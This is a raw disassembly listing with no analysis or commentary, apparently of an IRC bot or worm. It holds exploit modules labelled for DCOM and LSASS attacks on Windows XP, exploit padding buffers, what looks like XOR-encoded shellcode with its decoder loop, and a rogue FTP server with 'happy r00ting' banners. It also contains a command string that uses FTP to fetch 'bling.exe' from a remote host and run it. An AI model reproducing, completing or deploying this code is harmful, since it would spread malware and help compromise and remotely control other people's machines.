cmp bl, [eax+2Fh]
xchg edx, [ebp+1FC36FAFh]
cmp al, 0E1h
; ---------------------------------------------------------------------------
dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
lahf
cmps byte ptr ss:[esi], byte ptr es:[edi]
loc_428AA3: ; CODE XREF: ___:00428A69j
mov [eax], esi
inc ecx
imul dword ptr [ebx+50h]
js short near ptr loc_428B02+1
lock xchg ax, bp
; ---------------------------------------------------------------------------
dw 768Ch
dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
dd 0C7CF6E30h
; ---------------------------------------------------------------------------
loc_428AC8: ; CODE XREF: ___:00428AF5j
xor [esi-25h], bl
loc_428ACB: ; CODE XREF: ___:00428A71j
xor al, 0D3h
nop
popf
db 64h
push edi
dec esi
sub al, 0BCh
mov al, ch
mov ch, 39h
fnsave byte ptr [esi-20h]
pop eax
shr dword ptr [ecx-60h], cl
pop eax
in al, 4Ah
sub al, 0BAh
loc_428AE4: ; CODE XREF: ___:00428B17j
rcl ebp, cl
db 3Eh
xchg eax, esi
or byte ptr [esi+2Ch], 0BCh
in al, 97h
db 36h
or al, 3Ah
rep fld tbyte ptr [eax-12h]
jz short loc_428AC8
xchg eax, ebp
imul esi, [esi+0Ah], 63h
dec esi
mov bl, 84h
xchg eax, ebp
insd
dec ebp
loc_428B02: ; CODE XREF: ___:00428AA9j
cmp byte ptr [ecx], 0E8h
dec ebp
nop
cmp eax, edi
dec ebp
sub al, 0BAh
fnsave byte ptr [esi-2Dh]
paddusw mm1, qword ptr [ebp+5Ah]
mov ebp, [esi]
jbe short loc_428B8E
jo short loc_428AE4
fld dword ptr [ebp+edx*4+3BC3746Dh]
out dx, al
loope near ptr loc_428B25+1
add bl, [edi]
loc_428B25: ; CODE XREF: ___:00428B21j
mov bl, 0FDh
sub esp, 0FFFFFFE1h
add eax, 3E1EE39h
add bl, [esi+57h]
push ebp
and ebp, esp
loope near ptr loc_428B3A+2
cmp ch, bh
dec edx
loc_428B3A: ; CODE XREF: ___:00428B35j
xchg dl, [ebp-72447295h]
retn 0AAD8h
; ---------------------------------------------------------------------------
db 3Dh
dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h
dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h
dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh
dd 3B864FEAh, 0C7BBCE44h, 391D1B62h
db 44h, 0C8h
; ---------------------------------------------------------------------------
loc_428B8E: ; CODE XREF: ___:00428B15j
mov ecx, 2C294495h
mov edx, 0E92F4930h
jg short loc_428C14
sub al, 0BCh
jmp near ptr 54448F82h
; ---------------------------------------------------------------------------
db 0D0h, 33h, 0Ah
dd 9505E1E8h, 6AD31E6Bh, 0
dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o
dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r
dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar
dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr
byte_428BC8 db 0 ; DATA XREF: ___:00404B45r
; ___:00404C13r
align 4
dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)"
dd 2C6h, 264h, 0
dd 1
dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ...
aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo
align 4
dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h
dd 532D3050h
; ---------------------------------------------------------------------------
loc_428C14: ; CODE XREF: ___:00428B98j
push eax
xor al, 29h
loc_428C17: ; DATA XREF: ___:00404B6Do
add bl, ch
add al, [eax]
; ---------------------------------------------------------------------------
db 0
align 10h
dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do
dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o
align 4
a_: ; DATA XREF: sub_406387+252o
unicode 0, <.>,0
dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h)
db 2 dup(64h)
word_429042 dw 6464h ; DATA XREF: ___:00428641o
dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h
dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h
dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h)
dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh)
dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh
dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h
dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h
dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h
dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h
dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h
dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h
dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh
dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h
dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh
dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh
dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh
dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h
dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h
dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h
dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h
dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h
dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h
dd 78A9269Bh, 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
loc_429E74: ; DATA XREF: ___:00405319o
add al, 54h
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
loc_429E92: ; CODE XREF: ___:00429EE2j
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
fmul st(1), st
mov al, 42h
jmp short loc_429EE9
; ---------------------------------------------------------------------------
dec edx
inc ebx
push esp
dec eax
inc ebx
and [ecx], eax
jo short loc_429E92
inc edx
add [eax-52h], esi
inc edx
loc_429EE9: ; CODE XREF: ___:00429ED9j
mov edi, esp
add edi, 2Ch
sub sp, 204h
xor ecx, ecx
mov dl, 35h
add cx, 138h
loc_429EFC: ; CODE XREF: ___:00429F03j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_429EFC
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP
test eax, 79E4B9EBh
inc ebp
loope loc_429F4D
lds edx, [edx]
adc eax, 623D0515h
db 66h
pop es
push 6
pop es
assume es:nothing
sbb esi, [ecx+79h]
jns short near ptr loc_429F59+3
fidiv word ptr [eax]
fxch4 st(4)
retf 0CACAh
; ---------------------------------------------------------------------------
db 68h
dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh
dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
dec ebp
loc_429F4D: ; CODE XREF: ___:00429F15j
xor al, 0CEh
mov esi, 0CC34297Eh
mov esi, 0CF341166h
loc_429F59: ; CODE XREF: ___:00429F26j
db 64h, 67h
mov si, 156Eh
xor al, 0CEh
add al, 0FCh
jz short near ptr loc_429F67+2
cmc
lodsb
loc_429F67: ; CODE XREF: ___:00429F63j
mov esi, 0CB34BE01h
cdq
add al, 0F7h
in al, 0D7h
mov cl, 0F5h
inc eax
retn 833Ah
; ---------------------------------------------------------------------------
db 70h
dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h
dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r
align 4
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_405144+97o
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 10h
unk_42A0B0 db 2 ; DATA XREF: ___:00405367o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 25h, 73h, 2Eh
db 65h ; e
db 1Fh, 78h, 1Fh
db 70h ; p
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAttemptingToRo db 'attempting to root %s',0
align 10h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o
aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo
; sub_40EE72+537o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_4053D5+5AFo
align 4
unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o
db 33h, 6Eh, 2
db 7Ah ; z
db 1Fh, 6Dh, 1Fh
db 20h
db 28h, 66h, 74h
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 3, 34h
aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_4053D5+519o
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o
align 10h
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo
align 10h
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o
align 4
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o
db ']',0
aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo
align 4
aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_4053D5+3AFo
align 10h
aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co
aI: ; DATA XREF: sub_4053D5+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA: ; DATA XREF: sub_4053D5+33Do
unicode 0, <A>,0
aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o
; sub_4053D5+361o
align 10h
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
align 10h
off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
align 4
aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo
align 10h
a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
align 10h
aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
align 10h
aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
align 10h
aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o
align 10h
a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
align 4
aRb db 'rb',0 ; DATA XREF: sub_405A58+24o
; sub_406C19+12Eo ...
align 4
unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 10h
asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo
align 4
asc_42A3B4: ; DATA XREF: sub_405AF2+293o
; sub_40EE72+A8o ...
unicode 0, < >,0
aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o
; sub_40B8D8+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo
align 4
unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
asc_42A65C: ; DATA XREF: sub_4060D0+15Ao
unicode 0, <*>,0
asc_42A660: ; DATA XREF: sub_4060D0+FBo
; sub_406387+29o ...
dw 0Ah
unicode 0, <>,0
aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo
; sub_406387+4DAo ...
align 4
aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao
; sub_40B390+4Co ...
align 10h
aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_406387+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_406387+61Co
align 4
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
align 10h
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
align 4
aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o
; sub_406387+496o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
align 4
aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o
; sub_406387+40Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm db 'AM',0 ; DATA XREF: sub_406387+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_406387+237o
align 10h
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o
dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406C19+47Fo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
dd 2E2973h
unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundSS db ' File not found: %s (%s).',0
dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406C19+399o
dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406C19+33Eo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToOpenFi db ' Failed to open file: %s.',0
unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo
align 8
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407767+169o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: ___:00405361o
align 4
dd 5 dup(0)
dword_42ACB0 dd 87h ; DATA XREF: sub_407110+1Er
; sub_40EE72+30B3r ...
off_42ACB4 dd offset sub_402DD7 ; DATA XREF: sub_407767+1EAr
dword_42ACB8 dd 0 ; DATA XREF: sub_402DD7+2E1w
; sub_402DD7+2E7r ...
dword_42ACBC dd 1 ; DATA XREF: sub_407252+1Fr
dword_42ACC0 dd 0 ; DATA XREF: sub_407252:loc_4074C3r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 402DD7h, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 402DD7h, 0
dd 1, 0
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 403688h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h
dd 353331h, 5 dup(0)
dd 87h, 403688h, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 8Bh, 403688h, 0
dd 2 dup(1), 346E7361h, 3534h, 73610000h, 6D73316Eh, 62h
dd 5 dup(0)
dd 1BDh, 40428Fh, 0
dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h
dd 5 dup(0)
dd 8Bh, 40428Fh, 0
